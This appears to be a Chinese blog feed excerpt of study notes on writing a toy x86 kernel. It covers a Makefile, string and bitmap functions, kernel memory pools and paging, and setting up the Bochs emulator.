$(BUILD_DIR)/init.o: kernel/init.c kernel/init.h lib/kernel/print.h \
lib/stdint.h kernel/interrupt.h device/timer.h
$(CC) $(CFLAGS) $< -o $@

$(BUILD_DIR)/interrupt.o: kernel/interrupt.c kernel/interrupt.h \
lib/stdint.h kernel/global.h lib/kernel/io.h lib/kernel/print.h
$(CC) $(CFLAGS) $< -o $@

$(BUILD_DIR)/timer.o: device/timer.c device/timer.h lib/stdint.h\
lib/kernel/io.h lib/kernel/print.h
$(CC) $(CFLAGS) $< -o $@

$(BUILD_DIR)/debug.o: kernel/debug.c kernel/debug.h \
lib/kernel/print.h lib/stdint.h kernel/interrupt.h
$(CC) $(CFLAGS) $< -o $@

############## 汇编代码编译 ###############
$(BUILD_DIR)/kernel.o: kernel/kernel.S
$(AS) $(ASFLAGS) $< -o $@
$(BUILD_DIR)/print.o: lib/kernel/print.S
$(AS) $(ASFLAGS) $< -o $@

############## 链接所有目标文件 #############
$(BUILD_DIR)/kernel.bin: $(OBJS)
$(LD) $(LDFLAGS) $^ -o $@

.PHONY : mk_dir hd clean all

# ubantu中需要将dash修改为bash运行
# ls -al /bin/sh若结果为/bin/sh -> dash
# 执行sudo dpkg-reconfigure dash选择No即可
mk_dir:
if [[ ! -d $(BUILD_DIR) ]];then mkdir $(BUILD_DIR);fi

hd:
dd if=$(BUILD_DIR)/kernel.bin \
of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \
bs=512 count=200 seek=9 conv=notrunc

clean:
cd $(BUILD_DIR) && rm -f ./*

build: $(BUILD_DIR)/kernel.bin

all: mk_dir build hd

为了调试方便我们新增加了断言(ASSERT),其核心思想是若断言通过则什么都不做,若不通过则用循环实现等待,打印错误信息,具体内容见debug.cdebug.h,在main.c中对其进行测试

1
2
3
4
5
6
7
8
9
10
#include "print.h"
#include "init.h"
#include "debug.h"

void main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
ASSERT(1==2); // 测试断言
while(1);
}

主目录下用sudo make all编译之后,测试断言运行效果如下所示

image-20200526104424200

字符串函数实现

在lib目录下用string.c实现对字符串的一些操作函数,比较好理解就不多解释了,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include "string.h"
#include "global.h"
#include "debug.h"

/* 将dst_起始的size个字节置为value */
void memset(void* dst_, uint8_t value, uint32_t size) {
ASSERT(dst_ != NULL);
uint8_t* dst = (uint8_t*)dst_;
while(size--)
{
*dst++ = value;
}
}

/* 将src_起始的size个字节复制到dst_ */
void memcpy(void* dst_, const void* src_, uint32_t size) {
ASSERT(dst_ != NULL && src_ != NULL);
uint8_t* dst = (uint8_t*)dst_;
const uint8_t* src = src_;
while(size--)
{
*dst++ = *src++;
}
}

/* 连续比较以地址a_和地址b_开头的size个字节,若相等则返回0,若a_大于b_返回+1,否则返回-1 */
int memcmp(const void* a_, const void* b_, uint32_t size) {
const char* a = a_;
const char* b = b_;
ASSERT(a != NULL && b != NULL);

while(size--) {
if(*a != *b) {
return *a > *b ? 1 : -1;
}
a++;
b++;
}
return 0;
}

/* 将字符串从src_复制到dst_,'0'为截至条件 */
char* strcpy(char* dst_, const char* src_) {
ASSERT(dst_ != NULL && src_ != NULL);
char* r = dst_; // 用来返回目的字符串起始地址
while((*dst_++ = *src_++));
return r;
}

/* 返回字符串长度 */
uint32_t strlen(const char* str) {
ASSERT(str != NULL);
const char* p = str;
while(*p++);
return (p - str - 1);
}

/* 比较两个字符串,若a_中的字符大于b_中的字符返回1,相等时返回0,否则返回-1. */
int8_t strcmp (const char* a, const char* b) {
ASSERT(a != NULL && b != NULL);
while (*a != 0 && *a == *b) {
a++;
b++;
}
/* 如果*a小于*b就返回-1,否则就属于*a大于等于*b的情况。在后面的布尔表达式"*a > *b"中,
* 若*a大于*b,表达式就等于1,否则就表达式不成立,也就是布尔值为0,恰恰表示*a等于*b */
return *a < *b ? -1 : *a > *b;
}

/* 从左到右查找字符串str中首次出现字符ch的地址(不是下标,是地址) */
char* strchr(const char* str, const uint8_t ch) {
ASSERT(str != NULL);
while(*str != 0)
{
if(*str == ch)
{
return (char*)str;// 需要强制转化成和返回值类型一样,否则编译器会报const属性丢失,下同.
}
str++;
}
return NULL;
}

/* 从后往前查找字符串str中首次出现字符ch的地址(不是下标,是地址) */
char* strrchr(const char* str, const uint8_t ch) {
ASSERT(str != NULL);
const char* last_char = NULL;
/* 从头到尾遍历一次,若存在ch字符,last_char总是该字符最后一次出现在串中的地址(不是下标,是地址)*/
while (*str != 0) {
if (*str == ch) {
last_char = str;
}
str++;
}
return (char*)last_char;
}

/* 将字符串src_拼接到dst_后,将回拼接的串地址 */
char* strcat(char* dst_, const char* src_) {
ASSERT(dst_ != NULL && src_ != NULL);
char* str = dst_;
while (*str++);
--str; // 别看错了,--str是独立的一句,并不是while的循环体
while((*str++ = *src_++)); // 当*str被赋值为0时,此时表达式不成立,正好添加了字符串结尾的0.
return dst_;
}

/* 在字符串str中查找指定字符ch出现的次数 */
uint32_t strchrs(const char* str, uint8_t ch) {
ASSERT(str != NULL);
uint32_t ch_cnt = 0;
const char* p = str;
while(*p != 0) {
if (*p == ch) {
ch_cnt++;
}
p++;
}
return ch_cnt;
}

BITMAP实现

位图用于实现资源管理,相当于一张表,表中为1表示占用,为0表示空闲,之后我们将其用来管理内存,我们在前面的基础之上实现BITMAP,在lib/kernel目录下新增bitmap.hbitmap.c,代码如下,bitmap结构比较简单,只有两个成员:指针bits和位图的字节长度btmp_bytes_len

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ifndef __LIB_KERNEL_BITMAP_H
#define __LIB_KERNEL_BITMAP_H
#include "global.h"
#define BITMAP_MASK 1
struct bitmap {
uint32_t btmp_bytes_len;
/* 在遍历位图时,整体上以字节为单位,细节上是以位为单位,所以此处位图的指针必须是单字节 */
uint8_t* bits;
};

void bitmap_init(struct bitmap* btmp);
bool bitmap_scan_test(struct bitmap* btmp, uint32_t bit_idx);
int bitmap_scan(struct bitmap* btmp, uint32_t cnt);
void bitmap_set(struct bitmap* btmp, uint32_t bit_idx, int8_t value);
#endif

下面的一些函数主要是对位图的一些操作函数,还是比较容易看懂的,其中较为核心的函数是bitmap_scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include "bitmap.h"
#include "stdint.h"
#include "string.h"
#include "print.h"
#include "interrupt.h"
#include "debug.h"

/* 将位图btmp初始化 */
void bitmap_init(struct bitmap* btmp) {
memset(btmp->bits, 0, btmp->btmp_bytes_len);
}

/* 判断bit_idx位是否为1,若为1则返回true,否则返回false */
bool bitmap_scan_test(struct bitmap* btmp, uint32_t bit_idx) {
uint32_t byte_idx = bit_idx / 8; // 向下取整用于索引数组下标
uint32_t bit_odd = bit_idx % 8; // 取余用于索引数组内的位
return (btmp->bits[byte_idx] & (BITMAP_MASK << bit_odd));
}

/* 在位图中申请连续cnt个位,成功则返回其起始位下标,失败返回-1 */
int bitmap_scan(struct bitmap* btmp, uint32_t cnt) {
uint32_t idx_byte = 0; // 用于记录空闲位所在的字节
/* 先逐字节比较,蛮力法 */
while (( 0xff == btmp->bits[idx_byte]) && (idx_byte < btmp->btmp_bytes_len)) {
/* 1表示该位已分配,所以若为0xff,则表示该字节内已无空闲位,向下一字节继续找 */
idx_byte++;
}

ASSERT(idx_byte < btmp->btmp_bytes_len);
if (idx_byte == btmp->btmp_bytes_len) { // 若该内存池找不到可用空间
return -1;
}

/* 若在位图数组范围内的某字节内找到了空闲位,
* 在该字节内逐位比对,返回空闲位的索引。*/
int idx_bit = 0;
/* 和btmp->bits[idx_byte]这个字节逐位对比 */
while ((uint8_t)(BITMAP_MASK << idx_bit) & btmp->bits[idx_byte]) {
idx_bit++;
}

int bit_idx_start = idx_byte * 8 + idx_bit; // 空闲位在位图内的下标
if (cnt == 1) {
return bit_idx_start;
}

uint32_t bit_left = (btmp->btmp_bytes_len * 8 - bit_idx_start); // 记录还有多少位可以判断
uint32_t next_bit = bit_idx_start + 1;
uint32_t count = 1; // 用于记录找到的空闲位的个数

bit_idx_start = -1; // 先将其置为-1,若找不到连续的位就直接返回
while (bit_left-- > 0) {
if (!(bitmap_scan_test(btmp, next_bit))) { // 若next_bit为0
count++;
} else {
count = 0;
}
if (count == cnt) { // 若找到连续的cnt个空位
bit_idx_start = next_bit - cnt + 1;
break;
}
next_bit++;
}
return bit_idx_start;
}

/* 将位图btmp的bit_idx位设置为value */
void bitmap_set(struct bitmap* btmp, uint32_t bit_idx, int8_t value) {
ASSERT((value == 0) || (value == 1));
uint32_t byte_idx = bit_idx / 8; // 向下取整用于索引数组下标
uint32_t bit_odd = bit_idx % 8; // 取余用于索引数组内的位

/* 一般都会用个0x1这样的数对字节中的位操作,
* 将1任意移动后再取反,或者先取反再移位,可用来对位置0操作。*/
if (value) { // 如果value为1
btmp->bits[byte_idx] |= (BITMAP_MASK << bit_odd);
} else { // 若为0
btmp->bits[byte_idx] &= ~(BITMAP_MASK << bit_odd);
}
}

内存管理

根据之前的铺垫,为了实现内存中用户和内核的区分,我们用位图实现对内存使用情况的记录,我们将物理内存划分为用户内存池和内核内存池,一页为4KB大小。

内核在申请空间的时候,先从内核自己的虚拟地址池中分配好虚拟地址再从内核物理地址池中分配物理内存,最后在内核自己的页表中将这两种地址建立好映射关系,内存就分配完成。

对用户进程来说,它向操作系统申请内存时,操作系统先从用户进程自己的虚拟地址分配虚拟地址,在从用户物理内存池中分配空闲的物理内存,用户物理内存池是被所有用户进程所共享的。最后在用户进程自己的页表中将这两种地址建立好映射关系。

image-20200526104424200

实现在kernel目录下新建memory.cmemory.h,虚拟内存池结构和物理内存池结构如下,物理内存多了一个记录大小的pool_size,因为虚拟地址是连续的4GB空间,相对而言空间非常大,而物理地址是有限的,所以不存在对虚拟地址大小的记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct virtual_addr
{
struct bitmap vaddr_bitmap;
uint32_t vaddr_start;
};

struct pool
{
struct bitmap pool_bitmap; // 内存池的位图结构
uint32_t phy_addr_start;
uint32_t pool_size;
};

struct pool kernel_pool, user_pool; // 生成内核内存池和用户内存池
struct virtual_addr kernel_vaddr; // 此结构用来给内核分配虚拟地址

在前面创建页目录和页表的时候,我们将虚拟地址 0xc0000000~0xc00fffff 映射到了物理地址 0x0~0xfffff,0xc0000000 是内核空间的起始虚拟地址,这 1MB 空间做的对等映射。为了看起来使内存连续,所以这里内核堆空间的开始地址从 0xc0100000 开始,在之前的设计中,0xc009f000 为内核主线程的栈顶,0xc009e000 将作为主线程的 PCB 使用,那么在低端1MB的空间中,就只剩下0xc009a000~0xc009dfff4 * 4KB的空间未使用,所以位图的地址就安排在 0xc009a000 处,这里还剩下四个页框的大小,所能表示的内存大小为512MB

1
2
#define MEM_BITMAP_BASE 0xc009a000
#define K_HEAP_START 0xc0100000

关键初始化函数如下,主要实现对内核池与用户池在物理内存中的平均分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// 初始化内存池
static void mem_pool_init(uint32_t all_mem)
{
put_str(" mem_pool_init start\n");

// 目前只初始化了低端1MB的内存页表,也就是256个页表
uint32_t page_table_size = PG_SIZE * 256;

uint32_t used_mem = page_table_size + 0x100000;

uint32_t free_mem = all_mem - used_mem;
uint16_t all_free_pages = free_mem / PG_SIZE;

uint16_t kernel_free_pages = all_free_pages / 2;
uint16_t user_free_pages = all_free_pages - kernel_free_pages;

// 内核的位图大小,在位图中,1bit表示1页
uint32_t kbm_length = kernel_free_pages / 8;
uint32_t ubm_length = user_free_pages / 8;

// 内核内存池的起始地址
uint32_t kp_start = used_mem;

// 用户内存池的起始地址
uint32_t up_start = kp_start + kernel_free_pages * PG_SIZE;

kernel_pool.phy_addr_start = kp_start;
user_pool.phy_addr_start = up_start;

kernel_pool.pool_size = kernel_free_pages * PG_SIZE;
user_pool.pool_size = user_free_pages * PG_SIZE;

kernel_pool.pool_bitmap.btmp_bytes_len = kbm_length;
user_pool.pool_bitmap.btmp_bytes_len = ubm_length;

kernel_pool.pool_bitmap.bits = (void*)MEM_BITMAP_BASE;
user_pool.pool_bitmap.bits = (void*)(MEM_BITMAP_BASE + kbm_length);

// 输出内存信息
put_str(" kernel_pool_bitmap_start:");
put_int((int)kernel_pool.pool_bitmap.bits);
put_str(" kernel_pool_phy_addr_start:");
put_int(kernel_pool.phy_addr_start);
put_str("\n");
put_str(" user_pool_bitmap_start:");
put_int((int)user_pool.pool_bitmap.bits);
put_str(" user_pool_phy_addr_start:");
put_int(user_pool.phy_addr_start);
put_str("\n");

// 将位图置0
bitmap_init(&kernel_pool.pool_bitmap);
bitmap_init(&user_pool.pool_bitmap);

kernel_vaddr.vaddr_bitmap.btmp_bytes_len = kbm_length;
kernel_vaddr.vaddr_bitmap.bits = (void*)(MEM_BITMAP_BASE + kbm_length + ubm_length);

kernel_vaddr.vaddr_start = K_HEAP_START;
bitmap_init(&kernel_vaddr.vaddr_bitmap);
put_str(" mem_pool_init done\n");
}

void mem_init()
{
put_str("mem_init start\n");

// 物理内存的大小放在地址0xb00处
uint32_t mem_bytes_total = *((uint32_t*)0xb00);

mem_pool_init(mem_bytes_total);

put_str("mem_init done\n");
}

写入makefile文件,编译运行效果如下,我们还没有实现对任意内存申请的函数,这里只是先将内存池进行了初始化,内核物理内存池所用的位图地址在0xc009a000,内存池中第一块物理页地址是0x200000

image-20200526104424200

接下来就是实现对内存的分配,首先复习一下32位虚拟地址的转换过程:

  1. 高 10 位是页目录项 pde 的索引,用于在页目录表中定位 pde ,细节是处理器获取高 10 位后自动将其乘以 4,再加上页目录表的物理地址,这样便得到了 pde 索引对应的 pde 所在的物理地址,然后自动在该物理地址中,即该 pde 中,获取保存的页表物理地址。
  2. 中间 10 位是页表项 pte 索引,用于在页表中定位 pte 。细节是处理器获取中间 10 位后自动将其乘以 4,再加上第一步中得到的页表的物理地址,这样便得到了 pte 索引对应的 pte 所在的物理地址,然后自动在该物理地址 (该 pte) 中获取保存的普通物理页的物理地址。
  3. 低 12 位是物理页内的偏移 ,页大小是 4KB, 12 位可寻址的范围正好是 4KB,因此处理器便直接把低 12 位作为第二步中获取的物理页的偏移量,无需乘以 4。用物理页的物理地址加上这低 12 位的和便是这 32 位虚拟地址最终落向的物理地址。

比如访问虚拟地址0x00c03123,拆分步骤如下

1
2
3
4
0x00c03123 => 16进制
0000 0000 1100 0000 0011 0001 0010 0011 => 2进制
0000000011 0000000011 000100100011 => 重新组合为 10+10+12
pde 3 pte 3 偏移 123

整个过程如下图所示

image-20200526104424200

32位地址在上面转换之后则落向物理地址,内存分配的过程:

  1. 在虚拟内存池中申请n个虚拟页
  2. 在物理内存池中分配物理页
  3. 在页表中添加虚拟地址与物理地址的映射关系

接下来就是一步一步在memory文件中增加函数

在虚拟内存池中申请n个虚拟页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* 在pf表示的虚拟内存池中申请pg_cnt个虚拟页,
* 成功则返回虚拟页的起始地址, 失败则返回NULL */
static void* vaddr_get(enum pool_flags pf, uint32_t pg_cnt) {
int vaddr_start = 0, bit_idx_start = -1;
uint32_t cnt = 0;
if (pf == PF_KERNEL) { //若为内核内存池
bit_idx_start = bitmap_scan(&kernel_vaddr.vaddr_bitmap, pg_cnt); // 扫描虚拟地址池
if (bit_idx_start == -1) { // 返回-1则退出
return NULL;
}
while(cnt < pg_cnt) {
bitmap_set(&kernel_vaddr.vaddr_bitmap, bit_idx_start + cnt++, 1); // 循环逐位置一
}
vaddr_start = kernel_vaddr.vaddr_start + bit_idx_start * PG_SIZE; // 将bit_idx_start转换为虚拟地址
} else {
// 用户内存池,将来实现用户进程再补充
}
return (void*)vaddr_start; // 返回指针
}

在物理内存池中分配物理页

这个函数比较关键,主要是对位图的扫描和记录,然后根据位图索引返回分配的物理地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 在m_pool指向的物理内存池中分配一个物理页
static void *palloc(struct pool *m_pool)
{
int bit_idx = bitmap_scan(&m_pool->pool_bitmap, 1);
if(bit_idx == -1)
{
return NULL;
}

bitmap_set(&m_pool->pool_bitmap, bit_idx, 1);
uint32_t page_phyaddr = bit_idx * PG_SIZE + m_pool->phy_addr_start;

return (void*)page_phyaddr;
}

在页表中添加虚拟地址与物理地址的映射关系

再次复习一下32位虚拟地址到物理地址的转换,我们后面实现pde和pte访问就是用的这个原理

  1. 首先通过高10位的pde索引,找到页表的物理地址
  2. 其次通过中间10位的pte索引,得到物理页的物理地址
  3. 最后把低12位作为物理页的页内偏移,加上物理页的物理地址,即为最终的物理地址

下面是通过虚拟地址访问pte和pde的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 得到虚拟地址vaddr对应的pte指针*/
uint32_t* pte_ptr(uint32_t vaddr) {
/* 先访问到页表自己 + \
* 再用页目录项pde(页目录内页表的索引)做为pte的索引访问到页表 + \
* 再用pte的索引做为页内偏移*/
uint32_t* pte = (uint32_t*)(0xffc00000 + \ // 最后一个页目录项保存的是页目录表物理地址,高十位指向最后一个页目录表项
// 也就是第1023个pde,换算成十进制就是0x3ff再移到高10位就是0xffc00000
((vaddr & 0xffc00000) >> 10) + \
PTE_IDX(vaddr) * 4);
return pte;
}

/* 得到虚拟地址vaddr对应的pde的指针 */
uint32_t* pde_ptr(uint32_t vaddr) {
/* 0xfffff是用来访问到页表本身所在的地址 */
uint32_t* pde = (uint32_t*)((0xfffff000) + PDE_IDX(vaddr) * 4);
return pde;
}

m_pool处申请物理页的函数

1
2
3
4
5
6
7
8
9
10
11
12
/* 在m_pool指向的物理内存池中分配1个物理页,
* 成功则返回页框的物理地址,失败则返回NULL */
static void* palloc(struct pool* m_pool) {
/* 扫描或设置位图要保证原子操作 */
int bit_idx = bitmap_scan(&m_pool->pool_bitmap, 1); // 找一个物理页面
if (bit_idx == -1 ) {
return NULL;
}
bitmap_set(&m_pool->pool_bitmap, bit_idx, 1);// 将此位bit_idx置1
uint32_t page_phyaddr = ((bit_idx * PG_SIZE) + m_pool->phy_addr_start); // page_phyaddr用于保存分配的物理页地址
return (void*)page_phyaddr;
}

添加虚拟地址与物理地址的映射函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* 页表中添加虚拟地址_vaddr与物理地址_page_phyaddr的映射 */
static void page_table_add(void* _vaddr, void* _page_phyaddr) {
uint32_t vaddr = (uint32_t)_vaddr, page_phyaddr = (uint32_t)_page_phyaddr;
uint32_t* pde = pde_ptr(vaddr);
uint32_t* pte = pte_ptr(vaddr);

/************************ 注意 *************************
* 执行*pte,会访问到空的pde。所以确保pde创建完成后才能执行*pte,
* 否则会引发page_fault。因此在*pde为0时,*pte只能出现在下面else语句块中的*pde后面。
* *********************************************************/
/* 先在页目录内判断目录项的P位,若为1,则表示该表已存在 */
if (*pde & 0x00000001) { // 页目录项和页表项的第0位为P,此处判断目录项是否存在
ASSERT(!(*pte & 0x00000001));

if (!(*pte & 0x00000001)) { // 只要是创建页表,pte就应该不存在,多判断一下放心
*pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1); // US=1,RW=1,P=1
} else { //应该不会执行到这,因为上面的ASSERT会先执行。
PANIC("pte repeat");
*pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1); // US=1,RW=1,P=1
}
} else { // 页目录项不存在,所以要先创建页目录再创建页表项.
/* 页表中用到的页框一律从内核空间分配 */
uint32_t pde_phyaddr = (uint32_t)palloc(&kernel_pool);

*pde = (pde_phyaddr | PG_US_U | PG_RW_W | PG_P_1);

/* 分配到的物理页地址pde_phyaddr对应的物理内存清0,
* 避免里面的陈旧数据变成了页表项,从而让页表混乱.
* 访问到pde对应的物理地址,用pte取高20位便可.
* 因为pte是基于该pde对应的物理地址内再寻址,
* 把低12位置0便是该pde对应的物理页的起始*/
memset((void*)((int)pte & 0xfffff000), 0, PG_SIZE);

ASSERT(!(*pte & 0x00000001));
*pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1); // US=1,RW=1,P=1
}
}

malloc_page函数负责申请虚拟地址并分配物理地址、建立映射,大致步骤如下

  1. 通过vaddr_get在虚拟内存池中申请虚拟地址
  2. 通过palloc在物理内存池中申请物理页
  3. 通过page_table_add将以上两步得到的结果在页表中映射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 分配pg_cnt个页空间,成功则返回起始虚拟地址,失败时返回NULL */
void* malloc_page(enum pool_flags pf, uint32_t pg_cnt) {
ASSERT(pg_cnt > 0 && pg_cnt < 3840); //15MB来限制,pg_cnt < 15*1024*1024/4096 = 3840页
/*********** malloc_page的原理是三个动作的合成: ***********
1通过vaddr_get在虚拟内存池中申请虚拟地址
2通过palloc在物理内存池中申请物理页
3通过page_table_add将以上得到的虚拟地址和物理地址在页表中完成映射
***************************************************************/
void* vaddr_start = vaddr_get(pf, pg_cnt);
if (vaddr_start == NULL) {
return NULL;
}

uint32_t vaddr = (uint32_t)vaddr_start, cnt = pg_cnt;
struct pool* mem_pool = pf & PF_KERNEL ? &kernel_pool : &user_pool; // 内核池还是用户池

/* 因为虚拟地址是连续的,但物理地址可以是不连续的,所以逐个做映射*/
while (cnt-- > 0) {
void* page_phyaddr = palloc(mem_pool);
if (page_phyaddr == NULL) { // 失败时要将曾经已申请的虚拟地址和物理页全部回滚,在将来完成内存回收时再补充
return NULL;
}
page_table_add((void*)vaddr, page_phyaddr); // 在页表中做映射
vaddr += PG_SIZE; // 下一个虚拟页
}
return vaddr_start;
}

最后一个函数负责在物理内存池中申请pg_cnt页内存

1
2
3
4
5
6
7
8
/* 从内核物理内存池中申请pg_cnt页内存,成功则返回其虚拟地址,失败则返回NULL */
void* get_kernel_pages(uint32_t pg_cnt) {
void* vaddr = malloc_page(PF_KERNEL, pg_cnt);
if (vaddr != NULL) { // 若分配的地址不为空,将页框清0后返回
memset(vaddr, 0, pg_cnt * PG_SIZE);
}
return vaddr;
}

最后我们在main.c中添加测试代码,申请三个页并打印其虚拟地址

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "print.h"
#include "init.h"
#include "memory.h"
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
void* addr = get_kernel_pages(3);
put_str("\n get_kernel_page start vaddr is ");
put_int((uint32_t)addr);
put_str("\n");
while(1);
return 0;
}

运行效果如下,期中最上面的红框表示虚拟地址起始地址,对照第二个红框的对应关系,第三个红框中为7是因为我们申请了三个页,第三位都为1,位图的变化和预期相符合。

image-20200526104424200

]]>
<h1 id="完善内核"><a href="#完善内核" class="headerlink" title="完善内核"></a>完善内核</h1><h2 id="调用约定"><a href="#调用约定" class="headerlink" title="调用约定"></a
简单内核实现笔记 part 1 https://thunderjie.github.io/2020/05/10/简单内核实现笔记-part-1/ 2020-05-10T09:24:32.000Z 2020-06-18T03:06:32.502Z 本系列文章主要记录阅读《操作系统真相还原》一书的笔记,主要是记录实现部分,如果您觉得看着很唐突的话很正常,因为我主要是记录代码和实现的过程,如果您能直接看懂的话,那功力是比较深厚的了,不过如果您没看过这本书的话,我还是非常建议您看着这本书和我一起做实验。

很久之前就想要实现一个内核,就算是抄也想要抄一遍。虽然这是一件重复造轮子的事情,但我个人认为这是任何一个想深入理解内核的人都需要走的一步,Windows和Linux在很多方面是类似的,深入了解其底层原理,你会发现不过也就是一个软件罢了。至于为何要写一篇文章来记录这繁琐枯燥的过程,一方面是因为自己喜欢记录一些学习过程,之后不说100%,至少80%可能是会参考到的。另一方面自己很久之前也答应了一些人要写个内核,却迟迟没有开始,说到这我都不好意思了。

关于操作系统实现的书籍我自己的阅读顺序如下,我自己认为先从Linux平台下手再到Windows比较好,当然也有很多其他很好的书籍,像《一个64位操作系统的设计与实现》、《30天自制操作系统》等,我认为选个一两本就足够了,带着目的去读书最重要。Anyway 希望这系列文章能够帮到你 :)

  1. 《操作系统真相还原》

  2. 《x86汇编语言从实模式到保护模式》

环境搭建

实验环境如下

主机虚拟机(Vmware 15.5.0 build)实验机(Ubantu中安装)
Windows 10 1903 x64Ubantu 16.04 x64Bochs 2.6.2

首先安装一系列依赖

1
2
3
4
5
6
7
sudo apt-get install build-essential

sudo apt-get install xorg-dev

sudo apt-get install bison

sudo apt-get install libgtk2.0-dev

放入网上下载好的bochs 2.6.2版本,解压安装

1
2
3
tar zxvf bochs-2.6.2.tar.gz

cd bochs-2.6.2

设置环境属性

1
2
3
4
5
6
7
8
./configure \
--prefix=/home/guang/soft/bochs-2.6.2 \
--enable-debugger \
--enable-disasm \
--enable-iodebug \
--enable-x86-debugger \
--with-x \
--with-x11

直接sudo make编译正常情况会出现以下错误

1
2
3
[...]
Makefile:179: recipe for target 'bochs' failed
make: *** [bochs] Error 1

找到Makefile文件LIBS =这句最后面添加上-lpthread

1
LIBS =  -lm -lgtk-x11-2.0 -lgdk-x11-2.0 -lpangocairo-1.0 -latk-1.0 -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lpangoft2-1.0 -lpango-1.0 -lgobject-2.0 -lglib-2.0 -lfontconfig -lfreetype -lpthread

重新sudo make编译,然后sudo make install安装,在bochs目录下创建一个bochsrc.disk配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Configuration file for Bochs
# 设置Bochs在运行过程中能够使用的内存: 32 MB
megs: 32

# 设置真实机器的BIOS和VGA BIOS
# 修改成你们对应的地址

romimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/BIOS-bochs-latest
vgaromimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/VGABIOS-lgpl-latest

# 设置Bochs所使用的磁盘
# 设置启动盘符
boot: disk

# 设置日志文件的输出
log: bochs.out

# 开启或关闭某些功能,修改成你们对应的地址
mouse: enabled=0
keyboard:keymap=/home/guang/soft/bochs-2.6.2/share/bochs/keymaps/x11-pc-us.map

# 硬盘设置
ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14

# 增加gdb支持,这里添加会报错,暂时不需要
# gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0

运行即可,路径为/home/guang/soft/bochs-2.6.2/bin,之后的命令能加sudo的都加上,避免不必要的错误

image-20200429125517920

第一次输入直接回车,第二次输入我们的bochsrc.disk即可设置我们初始化文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
You can also start bochs with the -q option to skip these menus.

1. Restore factory default configuration
2. Read options from...
3. Edit options
4. Save options to...
5. Restore the Bochs state from...
6. Begin simulation
7. Quit now

Please choose one: [2] // 直接回车

What is the configuration file name?
To cancel, type 'none'. [none] bochsrc.disk // 输入我们刚才配置的文件即可
00000000000i[ ] reading configuration from bochsrc.disk

运行之后会中断提示Mouse capture off,这个时候输入c继续运行即可,运行成功如下图,这里会提示没有设置设备信息

image-20200429151727064

设置设备需要运行bximage进行模拟,使用方法如下

1
2
3
4
5
6
7
8
9
Usage: bximage [options] [filename]

Supported options:
-fd create floppy image // 创建软盘
-hd create hard disk image // 创建硬盘
-mode=... image mode (hard disks only) // 创建硬盘类型
-size=... image size in megabytes // 创建大小
-q quiet mode (don't prompt for user input) // 以静默模式创建,不和用户交互
--help display this help and exit

如下方式创建名为hd60M.img的虚拟镜像

image-20200429153853374

在之前的bochsrc.disk配置文件中添加一行ata0-master: type=disk, path="hd60M.img", mode=flat, cylinders=121, heads=16, spt=63,重新指定配置文件运行

1
sudo ./bochs -f bochsrc.disk

再次报错,这次提示的错误和之前的不太一样,意思是这不是一个启动盘,后面我们需要编写具体的启动盘,故完成到这里环境搭建完毕

image-20200429191208677

实模式

BIOS

BIOS即输入输出系统,是按下主机键之后第一个运行的软件,其主要工作有

  • 调用检测、初始化硬件功能
  • 建立中断向量表(IVT)
  • 校验启动盘中位于0盘0道1扇区的内容

实模式下的1MB内存布局如下,其中0~0x9FFFF处是DRAM,即动态随机访问内存,我们所装的物理内存就是DRAM,如DDR、DDR2等。顶部的0xF0000~0xFFFFF,这64KB的内存是ROM。

起始结束大小用途
FFFF0FFFFF16BBIOS入口地址,此地址也属于BIOS代码,同样属于顶部的640KB字节。只是为了强调其入口地址才单独贴出来。此处16字节的内容是跳转指令jmp f000:e05b
F0000FFFEF64KB-16B系统BIOS范围是F0000~FFFFF共640KB,为说明入口地址,将最上面的16字节从此处去掉了,所以此处终止地址是0XFFFEF
C8000EFFFF160KB映射硬件适配器的ROM或内存映射式I/O
C0000C7FFF32KB显示适配器BIOS
B8000BFFFF32KB用于文本模式显示适配器
B0000B7FFF32KB用于黑白显示适配器
A0000AFFFF64KB用于彩色显示适配器
9FC009FFFF1KBEBDA(Extended BIOS Data Area)扩展BIOS数据区
7E009FBFF622080B约608KB可用区域
7C007DFF512BMBR被BIOS加载到此处,共512字节
5007BFF30464B约30KB可用区域
